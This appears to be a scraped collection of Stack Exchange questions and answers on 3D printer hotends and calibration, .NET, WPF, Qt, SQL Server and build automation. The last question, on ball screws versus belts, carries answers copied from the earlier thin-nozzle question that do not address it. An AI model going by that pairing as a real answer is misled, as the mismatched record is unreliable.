end consists of a melting zone or chamber with two holes. The cold end
forces the filament into the hot end -- into the heating chamber of
the hot end -- through one hole. The molten plastic exits the heating
chamber through the other hole at the tip. The hole in the tip
(nozzle) has a diameter of between 0.3mm and 1.0mm with typical size
of 0.5mm with present generation extruders. Outside the tip of the
barrel is a heating means, either a wire element or a standard wire
wound resistor. The heat required is of the order of 20W with typical
temperatures around 150 to 250 degrees Centigrade. For feedback
control of the nozzle temperature, a thermistor is usually attached
close to the nozzle, though a thermocouple may serve with suitable
control hardware. High temperature materials are needed here. These
include metals, cements and glues, glass and mineral fibre materials,
PEEK, PTFE and Kapton tape.</p>
<h3>mount to rest of machine</h3>
<p>The ways
extruders are mounted on the rest of the machine have evolved over
time into informal mounting standards. These informal standards
include the Vertical X Axis Standard, the Quick-fit extruder mount,
the OpenX mount, etc. Such de-facto standards allows new extruder
designs to be tested on existing printer frames, and new printer frame
designs to use existing extruders. (Does the "greg-adapter.scad"
adapter in the Prusa i3 Build Manual let me mount an OpenX extruder on
a Vertical X Axis machine?)</p>
</blockquote>
<p>You can also google for extruder and/or hotend in combination with 3d printing for a first starting point.</p>
| 384
|
<p>Are there any ports to WPF of Silverlight's MultiScaleImage (aka DeepZoom)? Have Microsoft road-mapped this at all for WPF?</p>
<p>I want to move from WinForms to WPF and require something like DeepZoom, using Silverlight isn't an option.</p>
|
<p>At the moment there is no port. However, DeepZoom is based on the technology found in the "World Wide Telescope" and the "Microsoft Photo Synth", so they have desktop versions of the technology running. I guess it would be safe to assume that Microsoft will be releasing a multi scale image control for WPF soon. If you just want the "panning and zooming", and don't care about the efficient breakdown of high resolution images you can certainly achieve the same effects in WPF. This post is <a href="http://blogs.windowsclient.net/joeyw/archive/2008/08/05/pan-and-zoom-deepzoom-style-in-wpf.aspx" rel="nofollow noreferrer">one example on how to do zoom and pan</a>.</p>
|
<p>Sad bit of news (or 'rumor'?)... in this <a href="http://blogs.msdn.com/jaimer/archive/2009/05/27/wpf-4-and-net-framework-4-beta-1-list-of-features-totrack.aspx" rel="nofollow noreferrer">List of features to track in WPF4 </a>, Jaime says</p>
<p>"Note: At PDC, we said that DeepZoom would be in WPF4. Unfortunately that feature has been cut. We just could not squeeze it into the schedule. There are workarounds to it: you can host Silverlight inWPF using web browser control or using the <a href="http://msdn.microsoft.com/en-us/library/cc296246(VS.95).aspx" rel="nofollow noreferrer">Silverlight hosting APIs</a>. "</p>
<p>I guess those <a href="http://msdn.microsoft.com/en-us/library/cc296246(VS.95).aspx" rel="nofollow noreferrer">hosting APIs</a> might be useful if you're brave - but I'm guessing just putting a Silverlight object inside a WPF WebBrowser control would be simpler...</p>
| 9,317
|
<p>A couple of prints after leveling the bed (<10), I noticed some weird sound, and saw the nozzle scratching the build-plate.
What is really weird, is that I noticed (My printer is in quite a dark edge, so the build plate isn't really illuminated), that there were some scratches from a print before, but it worked fine with the prints in between.
So my question is, how that might have happened, could it be also software issues (Maybe some mistakes converting to gcode?), or is this propably purely a mechanical issue?
Furthermore, I'd like to ask whether this may cause any problems, e.g. massively reducing print quality, or weakening the grip of the prints.</p>
<p>I'm using the Tevo Michelangelo 3D, with manual leveling (it drives to the positions, but one has to tighten/loose the screws).
Note that <a href="https://3dprinting.stackexchange.com/questions/7332/tevo-michelangelo-nozzle-below-build-plate">I might have overtightened the screws in the beginning</a>. Another thing I noticed is that the screws on one side tend to be more loose than the other ones.</p>
<p><a href="https://i.stack.imgur.com/ROEST.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/ROEST.jpg" alt="Build plate"></a></p>
|
<p>As the question continued in comments, it can be read that the build plate had over-tight screws and loose screws on the build plate. This uneven tension could lead to stresses that warp the bed, e.g. lower corner and bulging out in the middle of the bed. When levelling on the corners, the nozzle could hit the bulge in the middle when printing. Furthermore, an endstop may have shifted during operation.</p>
|
<p>I currently have a couple scratches on the base of my Cr-10. They may have come, for me, from using tape on the bed as well as the nozzle being too close and rubbing. I have not noticed any quality difference during my prints. Noting Oscar, warping could also cause the nozzle to scrape the build plate when it goes over it. I am attempting to fix this problem on own printer.</p>
| 1,127
|
<p>I thought .Net code gets compiled into MSIL, so I always wondered how do Yellow Screens produce the faulty code. If it's executing the compiled code, how is the compiler able to produce code from the source files in the error message?</p>
<p>Feel free to edit this question/title, I know it doesn't really make sense.</p>
|
<p>A .Net assembly is compiled with metadata about the bytecode included that allows easy decompilation of the code - that's how tools like <a href="http://www.red-gate.com/products/reflector/" rel="noreferrer">.Net Reflector</a> work. The PDB files are debug symbols only - the difference in the Yellow Screen Of Death is that you'll get line numbers in the stack trace.</p>
<p>In other words, you'd get the code, even if the PDB files were missing.</p>
|
<p>I think this is down to the debug information that can be included with the compiled assemblies..(although I could definately be wrong)</p>
| 4,054
|
<p>Can somebody suggest a good <strong>free</strong> tool for analyzing .Net memory dumps other than Adplus/windbg/sos ?</p>
|
<p>You can <a href="http://blogs.msdn.com/vijaysk/archive/2007/11/15/sos-your-visual-studio.aspx" rel="nofollow noreferrer">load sos</a> and your memory dump into Visual Studio to at least insulate you from the 'interesting' ui that WinDbg presents. </p>
|
<p>I fully recommend .Net Memory Profiler.
Beside being a great live memory profiler for .Net applications, it can also load memory dumps, and let you traverse the objects in the dump in a very intuitive an easy way.</p>
<p>Opening big dump (> 1 GB) can take a few hours though, but for us it's worth the wait.
I don't know if they have trial version, but if they do you should definitely give them a shot.</p>
| 7,053
|
<p>I am running a Qt 4.5 commercial snapshot and want to use a plugin that I downloaded (it's a .so file) in my <code>QWebView</code>. Is there a specific location where I need to place this file? Can I grab it using the <code>QWebPluginFactory</code>?</p>
|
<p>I am assuming the plugin here is the NPAPI plugin (e.g. Flash). Under X11, QtWebKit search several common directories for the plugin. For the complete list, see <a href="http://doc.qt.digia.com/4.5/qtwebkit.html#netscape-plugin-support" rel="nofollow noreferrer">the documentation on Netscape plugin support</a>.</p>
<p>In addition to that, you must enable plugin support via QWebSettings::. See the documentation for <a href="http://doc.qt.digia.com/4.5/qwebsettings.html#WebAttribute-enum" rel="nofollow noreferrer">WebAttribute::::PluginsEnabled</a>, either globally or for your particular QWebView only.</p>
|
<p>Have you tried putting in the <em>standard library directories</em>? It should be picked up by the <strong>linker</strong> if it's in one of those directories.</p>
<p>For example:</p>
<pre><code>/lib/
/usr/lib/
/usr/share/lib/
/usr/local/lib/
</code></pre>
| 3,939
|
<p>If I have interface IFoo, and have several classes that implement it, what is the best/most elegant/cleverest way to test all those classes against the interface?</p>
<p>I'd like to reduce test code duplication, but still 'stay true' to the principles of Unit testing.</p>
<p>What would you consider best practice? I'm using NUnit, but I suppose examples from any Unit testing framework would be valid</p>
|
<p>If you have classes implement any one interface then they all need to implement the methods in that interface. In order to test these classes you need to create a unit test class for each of the classes.</p>
<p>Lets go with a smarter route instead; if your goal is to <strong>avoid code and test code duplication</strong> you might want to create an abstract class instead that handles the <strong>recurring</strong> code. </p>
<p>E.g. you have the following interface:</p>
<pre><code>public interface IFoo {
public void CommonCode();
public void SpecificCode();
}
</code></pre>
<p>You might want to create an abstract class:</p>
<pre><code>public abstract class AbstractFoo : IFoo {
public void CommonCode() {
SpecificCode();
}
public abstract void SpecificCode();
}
</code></pre>
<p>Testing that is easy; implement the abstract class in the test class either as an inner class:</p>
<pre><code>[TestFixture]
public void TestClass {
private class TestFoo : AbstractFoo {
boolean hasCalledSpecificCode = false;
public void SpecificCode() {
hasCalledSpecificCode = true;
}
}
[Test]
public void testCommonCallsSpecificCode() {
TestFoo fooFighter = new TestFoo();
fooFighter.CommonCode();
Assert.That(fooFighter.hasCalledSpecificCode, Is.True());
}
}
</code></pre>
<p>...or let the test class extend the abstract class itself if that fits your fancy.</p>
<pre><code>[TestFixture]
public void TestClass : AbstractFoo {
boolean hasCalledSpecificCode;
public void specificCode() {
hasCalledSpecificCode = true;
}
[Test]
public void testCommonCallsSpecificCode() {
AbstractFoo fooFighter = this;
hasCalledSpecificCode = false;
fooFighter.CommonCode();
Assert.That(fooFighter.hasCalledSpecificCode, Is.True());
}
}
</code></pre>
<p>Having an abstract class take care of common code that an interface implies gives a much cleaner code design. </p>
<p>I hope this makes sense to you.</p>
<hr>
<p>As a side note, this is a common design pattern called the <strong><a href="http://en.wikipedia.org/wiki/Template_method_pattern" rel="nofollow noreferrer">Template Method pattern</a></strong>. In the above example, the template method is the <code>CommonCode</code> method and <code>SpecificCode</code> is called a stub or a hook. The idea is that anyone can extend behavior without the need to know the behind the scenes stuff.</p>
<p>A lot of frameworks rely on this behavioral pattern, e.g. <a href="http://msdn.microsoft.com/en-us/library/ms178472.aspx" rel="nofollow noreferrer">ASP.NET</a> where you have to implement the hooks in a page or a user controls such as the generated <code>Page_Load</code> method which is called by the <code>Load</code> event, the template method calls the hooks behind the scenes. There are a lot more examples of this. Basically anything that you have to implement that is using the words "load", "init", or "render" is called by a template method.</p>
|
<p>I don't use NUnit but I have tested C++ interfaces. I would first test a TestFoo class which is a basic implementation of it to make sure the generic stuff works. Then you just need to test the stuff that is unique to each interface.</p>
| 6,002
|
<p>I have an ASP.net Application that runs on the internal network (well, actually it's running on Sharepoint 2007). </p>
<p>I just wonder:</p>
<p>Can I somehow retrieve the name of the PC the Client is using? I would have access to Active Directory if that helps. The thing is, people use multiple PCs. So, I cannot use any manual/static mapping.</p>
<p>If possible, I do not want to use any client-side (read: JavaScript) code, but if it cannot be done server-side, JavaScript would be OK as well. ActiveX is absolutely out of question.</p>
|
<p><a href="https://learn.microsoft.com/en-us/dotnet/api/system.web.httprequest.userhostname?redirectedfrom=MSDN&view=netframework-4.8#System_Web_HttpRequest_UserHostName" rel="nofollow noreferrer">System.Web.HttpRequest.UserHostname</a> as suggested in <a href="https://stackoverflow.com/a/17691/1011722">this answer</a> just returns the IP :-(</p>
<p>But I just found this:</p>
<pre><code>System.Net.Dns.GetHostEntry(Page.Request.UserHostAddress).HostName
</code></pre>
<p>That only works if there is actually a DNS Server to resolve the name, which is the case for my network.</p>
|
<p>Does <a href="http://msdn.microsoft.com/en-us/library/system.web.httprequest.userhostname.aspx" rel="nofollow noreferrer">System.Web.HttpRequest.UserHostname</a> provide what you're looking for?</p>
| 3,824
|
<p>I had an idea, if I add a python .py file to my C# project, and tag the file with a custom generator that would execute the python file, and treat the output as the result of the code generation, ie. put it into a C# file, that would allow me to do quite a lot of code generation as part of the build process.</p>
<p>Does anyone know if such a custom generator for Visual Studio 2008 exists?</p>
|
<p>OK, I see. Well, as far as I know there isn't any code generator for Python. There is a good introduction on how to roll your own <a href="http://www.drewnoakes.com/snippets/WritingACustomCodeGeneratorToolForVisualStudio/" rel="nofollow noreferrer">here</a>.</p>
<p>Actually, that's quite an under-used part of the environment, I suppose it's so because it needs you to use the IDE to compile the project, as it'd seem only the IDE knows about these "generators", but MSBuild ignores them.</p>
|
<p>I don't understand what you are trying to do here. Are you trying to execute a Python script that generates a C# file and then compile that with the project? Or are you trying to compile a Python script to C#?</p>
| 4,392
|
<p>I've just put my new server up on an IP address with a domain pointing to it. I need to be able to remote admin it. I've opened the firewall for Remote Desktop and HTTP traffic. Is this going to be secure enough? I guess I should probably rename the administrator user...</p>
|
<p>The absolute minimum you should do is change the Remote Desktop port, change the Admin username, and have a very strong admin password.</p>
|
<p>Any chance you can set up your server as a VPN endpoint? Then you would only have the VPN ports and the HTTP ports open. When you want to RDP to the server, you would connect to the VPN first and then you're good to go. </p>
<p>Only reason is, if my memory serves me right, RDP traffic is not encrypted.</p>
<p>This is how I run my IIS server at home, works very well.</p>
| 4,009
|
<p>I've had my anycubic kossel for a good while now, and whenever I print something, it seems like it falls out of calibration very quickly. The biggest example is that the prints tend to scale up as the print progresses, or maybe the print starts to drift, and comes out slanted. This seems to never happen in any similarly priced XYZ printers. Why is this? Do XYZ printers just have an inherent advantage over deltas? Perhaps Deltas have some precision loss?</p>
|
<p>user77232's points are valid but I have done several things to mitigate these issues on my Anycubic Deltas. </p>
<p>First, both of my deltas have linear slide bearings. If your's has the bearing trucks that run in the extrusion slots this will lead to less precise operation and also is a source of wear over time. </p>
<p>Second, be sure that the end stop micro switches are positioned precisely and that their fasteners are tight. You may also want to use a mild strength Loctite on their fasteners. When operated at high extrusion rates all components are subject to significant vibration.</p>
<p>Third, I found that the universal joints are also a significant source of play. I remedied this to some degree by placing rubber bands across the arms at both ends so that the play was minimized. The rubber bands should be wrapped fairly tightly to perform this function. </p>
<p>Forth, I try to tune the belt tension so that all of the belts have the same note when plucked. There are smart phone apps that will help do this. I believe that one that I use is from Gates, a premium manufacturer of drive belts. Also, over time belts stretch so you will need to retension them periodically.</p>
<p>Fifth, run through the firmware calibration process regularly for both positional accuracy and for filament extrusion and retraction variables.</p>
<p>I don't use my deltas much any more since purchasing a popular XYZ type printer but it cost me three times what they did and it still has issues from time to time.</p>
|
<p>(The XYZ Printers are called Cartesian Printers)</p>
<p>Delta printers are harder to get right, because they require precision parts. The arms have to be EXACTLY the same length, the frame must be square, the universal joints must have no slop. You should check to see if any of the universal joints need replacing, and that the length of the arms are equal. </p>
<p>Deltas however are some of the fastest robotic platforms due to the low mass of the end effector.</p>
| 1,441
|
<p>How do I select all the columns in a table that only contain NULL values for all the rows? I'm using <strong>MS SQL Server 2005</strong>. I'm trying to find out which columns are not used in the table so I can delete them.</p>
|
<p>Here is the sql 2005 or later version: Replace ADDR_Address with your tablename.</p>
<pre><code>declare @col varchar(255), @cmd varchar(max)
DECLARE getinfo cursor for
SELECT c.name FROM sys.tables t JOIN sys.columns c ON t.Object_ID = c.Object_ID
WHERE t.Name = 'ADDR_Address'
OPEN getinfo
FETCH NEXT FROM getinfo into @col
WHILE @@FETCH_STATUS = 0
BEGIN
SELECT @cmd = 'IF NOT EXISTS (SELECT top 1 * FROM ADDR_Address WHERE [' + @col + '] IS NOT NULL) BEGIN print ''' + @col + ''' end'
EXEC(@cmd)
FETCH NEXT FROM getinfo into @col
END
CLOSE getinfo
DEALLOCATE getinfo
</code></pre>
|
<p>You might need to clarify a bit. What are you really trying to accomplish? If you really want to find out the column names that only contain null values, then you will have to loop through the scheama and do a dynamic query based on that.</p>
<p>I don't know which DBMS you are using, so I'll put some pseudo-code here.</p>
<pre><code>for each col
begin
@cmd = 'if not exists (select * from tablename where ' + col + ' is not null begin print ' + col + ' end'
exec(@cmd)
end
</code></pre>
| 8,879
|
<p>I need to try to lock on an object, and if its already locked just continue (after time out, or without it).</p>
<p>The C# lock statement is blocking.</p>
|
<p>Ed's got the right function for you. Just don't forget to call <code>Monitor.Exit()</code>. You should use a <code>try-finally</code> block to guarantee proper cleanup.</p>
<pre><code>if (Monitor.TryEnter(someObject))
{
try
{
// use object
}
finally
{
Monitor.Exit(someObject);
}
}
</code></pre>
|
<p>Based on <a href="https://stackoverflow.com/a/8557/481626">Dereks answer</a> a little helper method:</p>
<pre><code>private bool TryExecuteLocked(object lockObject, Action action)
{
if (!Monitor.TryEnter(lockObject))
return false;
try
{
action();
}
finally
{
Monitor.Exit(lockObject);
}
return true;
}
</code></pre>
<p>Usage:</p>
<pre><code>private object _myLockObject;
private void Usage()
{
if (TryExecuteLocked(_myLockObject, ()=> DoCoolStuff()))
{
Console.WriteLine("Hurray!");
}
}
</code></pre>
| 2,999
|
<p>OK, so we all know the daily build is the heart beat of a project, but whats the single best way of automating it? </p>
<p>We have perl scripts wrapping our pipeline which includes ClearCase, VS2005 (C++), Intel FORTRAN, Inno setup. We use cron jobs on UNIX to schedule the build, and host a simple Apache web server to view and monitor the build. All in all its rather complex, I would like to know whats the best off the shelf solution that people use?</p>
<p>And yes I did say FORTRAN no escaping it sometimes, it works, no point doing a huge re-implementation project for some tried and tested FEA code that just works.</p>
|
<p>We're in the process of implementing CC.Net. So far it seems like it would fit your model pretty well. </p>
<p>Out of the box it offers automated building, results tracking and notification. I'm not sure how detailed the build-in-progress monitoring is though.</p>
|
<p>I know this is a really old question, but it's still coming up in searches, so someone should mention <a href="http://jenkins-ci.org/" rel="nofollow noreferrer">Jenkins</a> - the open source continuation of Hudson.</p>
<p>From the <a href="https://wiki.jenkins-ci.org/display/JENKINS/Meet+Jenkins" rel="nofollow noreferrer">Jenkins wiki</a>:</p>
<blockquote>
<p>Among those things, current Jenkins focuses on the following two jobs:</p>
<ul>
<li><strong>Building/testing software projects continuously</strong>, just like CruiseControl or DamageControl. In a nutshell, Jenkins provides an easy-to-use so-called continuous integration system, making it easier for developers to integrate changes to the project, and making it easier for users to obtain a fresh build. The automated, continuous build increases the productivity.</li>
<li><strong>Monitoring executions of externally-run jobs</strong>, such as cron jobs and procmail jobs, even those that are run on a remote machine. For example, with cron, all you receive is regular e-mails that capture the output, and it is up to you to look at them diligently and notice when it broke. Jenkins keeps those outputs and makes it easy for you to notice when something is wrong.</li>
</ul>
</blockquote>
<p>It was originally built with Java in mind, so it integrates well with lots of other Java tools, but you can use it with any language, including all those mentioned by the OP.</p>
| 7,731
|
<p>I have a few 3D printers and now want to start building a custom 3D printer.
I want to build a 3D printer with multiple nozzles, and I want to make the hotend thin so the nozzles can be closer together.
What is the thinnest nozzle avalible to buy?
Are there any guides or details on how I could make a custom nozzle or modify a nozzle if I can't buy a thin nozzle?</p>
|
<p>The size of the nozzle usually isn't the main factor for how close you can put nozzles together. To keep the filament drive gear system from being the limiting factor, you would need Bowden extruders. "Then, the heat sinks and fans would be your limiting factor. Have you considered a single nozzle with three extruders? Otherwise, you need custom angled heat sinks similar to the three heat sinks on a single nozzle, and still a way to orient the nozzles at the same Z-height. That would be difficult if all the nozzles are on the same heater block. It still seems that nozzle size is the least of the issues of putting nozzles close together.</p>
<p>If you search for smaller nozzle sizes, you will get nozzles with smaller openings, not smaller overall size. The threads on the nozzles are a standard size. Thus, the smaller opening size can't be put closer together than the larger opening size. Otherwise, you have only small variations between different types of nozzles and need room to screw them in to the heater block if you put all of them into one block. You can get a nozzle using a 6 mm hex wrench that is smaller than one using a 7 mm hex (E3D).</p>
|
<p>One of the thinnest hotends I've seen are those from a Chinese factory Mellow Store, the heatsink is smaller than the top flange to mount the hotend. I don't know the quality of these hotends, the image below shows the basic layouts of available options:</p>
<p><a href="https://i.stack.imgur.com/MsvUL.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/MsvUL.jpg" alt="Mellow Store custom hotend" /></a></p>
<p>Ultimaker uses high quality hotends which are pretty small 2.85 mm hotends they call "cores", they house 2 next to each other and use a lifting mechanism:</p>
<p><a href="https://i.stack.imgur.com/pl0mt.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/pl0mt.png" alt="Ultimaker 0.8 mm core" /></a></p>
| 1,702
|
<p>I am building a medium-sized printer which needs to produce super-precise parts at a moderately fast print time. I frankly don't want to deal with belts or their tension issues but on the other hand, having ball screws on each axis will increase inertia...right?. I'm using Rexroth rails and will use (depending on what I decide) name brand belts or name brand ball screws.</p>
|
<p>The size of the nozzle usually isn't the main factor for how close you can put nozzles together. To keep the filament drive gear system from being the limiting factor, you would need Bowden extruders. "Then, the heat sinks and fans would be your limiting factor. Have you considered a single nozzle with three extruders? Otherwise, you need custom angled heat sinks similar to the three heat sinks on a single nozzle, and still a way to orient the nozzles at the same Z-height. That would be difficult if all the nozzles are on the same heater block. It still seems that nozzle size is the least of the issues of putting nozzles close together.</p>
<p>If you search for smaller nozzle sizes, you will get nozzles with smaller openings, not smaller overall size. The threads on the nozzles are a standard size. Thus, the smaller opening size can't be put closer together than the larger opening size. Otherwise, you have only small variations between different types of nozzles and need room to screw them in to the heater block if you put all of them into one block. You can get a nozzle using a 6 mm hex wrench that is smaller than one using a 7 mm hex (E3D).</p>
|
<p>One of the thinnest hotends I've seen are those from a Chinese factory Mellow Store, the heatsink is smaller than the top flange to mount the hotend. I don't know the quality of these hotends, the image below shows the basic layouts of available options:</p>
<p><a href="https://i.stack.imgur.com/MsvUL.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/MsvUL.jpg" alt="Mellow Store custom hotend" /></a></p>
<p>Ultimaker uses high quality hotends which are pretty small 2.85 mm hotends they call "cores", they house 2 next to each other and use a lifting mechanism:</p>
<p><a href="https://i.stack.imgur.com/pl0mt.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/pl0mt.png" alt="Ultimaker 0.8 mm core" /></a></p>
| 1,703
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.